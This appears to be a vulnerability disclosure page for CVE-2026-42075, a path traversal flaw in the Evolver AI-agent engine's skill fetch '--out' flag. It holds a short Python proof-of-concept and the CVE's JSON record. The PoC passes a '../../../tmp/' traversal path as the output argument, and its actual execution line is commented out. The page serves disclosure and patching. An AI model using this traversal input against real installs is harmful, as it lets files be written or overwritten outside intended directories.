CVE-2026-42075

# PoC for CVE-2026-42075: Path Traversal in Evolver # Vulnerable versions: < 1.69.3 # This script demonstrates the path traversal vulnerability # by exploiting the '--out' flag in the skill fetch command. import sys import subprocess def exploit_poc(): target_file = "../../../tmp/malicious_payload.txt" skill_name = "example_skill" print(f"[*] Attempting to write to arbitrary path: {target_file}") # Simulating the vulnerable command execution # In a real scenario, the attacker controls the '--out' argument try: # Command structure: evolver fetch <skill> --out <path> cmd = ["evolver", "fetch", skill_name, "--out", target_file] print(f"[*] Executing: {' '.join(cmd)}") # Note: This is a simulation. Actual execution depends on environment. # result = subprocess.run(cmd, capture_output=True) print("[+] If vulnerable, the file has been written outside the intended directory.") except Exception as e: print(f"[-] Error during PoC execution: {e}") if __name__ == "__main__": exploit_poc()

{"cve": {"id": "CVE-2026-42075", "sourceIdentifier": "[email protected]", "published": "2026-05-04T17:16:24.283", "lastModified": "2026-05-07T15:43:39.827", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Evolver is a GEP-powered self-evolving engine for AI agents. Prior to version 1.69.3, a path traversal vulnerability in the skill download (fetch) command allows attackers to write files to arbitrary locations on the filesystem. The --out= flag accepts user-provided paths without validation, enabling directory traversal attacks that can overwrite critical system files or create files in sensitive location. This issue has been patched in version 1.69.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://github.com/EvoMap/evolver/releases/tag/v1.69.3", "source": "[email protected]"}, {"url": "https://github.com/EvoMap/evolver/security/advisories/GHSA-r466-rxw4-3j9j", "source": "[email protected]"}, {"url": "https://github.com/EvoMap/evolver/security/advisories/GHSA-r466-rxw4-3j9j", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}